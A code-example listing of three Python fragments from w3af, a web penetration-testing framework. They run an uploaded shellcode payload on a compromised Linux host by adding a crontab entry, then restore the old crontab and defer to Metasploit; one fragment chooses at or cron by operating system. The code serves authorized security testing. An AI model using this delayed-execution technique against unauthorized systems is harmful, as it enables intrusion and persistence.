コード例 #1
0
ファイル: lnxVd.py プロジェクト: weisst/w3af
    def _exec_payload(self, remote_filename):
        '''
        This method should be implemented according to the remote operating
        system. The idea here is to execute the payload that was sent using
        _send_exe_to_server and generated by _generate_exe . In lnxVd I
        should run "chmod +x file; ./file"

        :return: None
        '''
        cH = crontabHandler(self._exec_method)
        if not cH.can_delay():
            msg = '[lnxVd] Failed to create cron entry.'
            om.out.debug(msg)
            raise w3afException(msg)
        else:
            wait_time = cH.add_to_schedule(remote_filename)

            om.out.console(
                'Crontab entry successfully added. Waiting for shellcode execution.'
            )
            time.sleep(wait_time + 3)

            om.out.debug(
                'Shellcode successfully executed, restoring old crontab.')
            cH.restore_old_schedule()

            om.out.debug('All done, check metasploit for results.')
コード例 #2
0
ファイル: lnxVd.py プロジェクト: Adastra-thw/w3af
    def _exec_payload(self, remote_filename):
        '''
        This method should be implemented according to the remote operating
        system. The idea here is to execute the payload that was sent using
        _send_exe_to_server and generated by _generate_exe . In lnxVd I
        should run "chmod +x file; ./file"

        :return: None
        '''
        cH = crontabHandler(self._exec_method)
        if not cH.can_delay():
            msg = '[lnxVd] Failed to create cron entry.'
            om.out.debug(msg)
            raise w3afException(msg)
        else:
            wait_time = cH.add_to_schedule(remote_filename)

            om.out.console('Crontab entry successfully added. Waiting for shellcode execution.')
            time.sleep(wait_time + 3)

            om.out.debug(
                'Shellcode successfully executed, restoring old crontab.')
            cH.restore_old_schedule()

            om.out.debug('All done, check metasploit for results.')
コード例 #3
0
 def get_delayed_execution_handler(self):
     os = os_detection_exec(self._exec_method)
     if os == 'windows':
         return atHandler(self._exec_method)
     elif os == 'linux':
         return crontabHandler(self._exec_method)
     else:
         raise w3afException(
             'Failed to create a delayed execution handler.')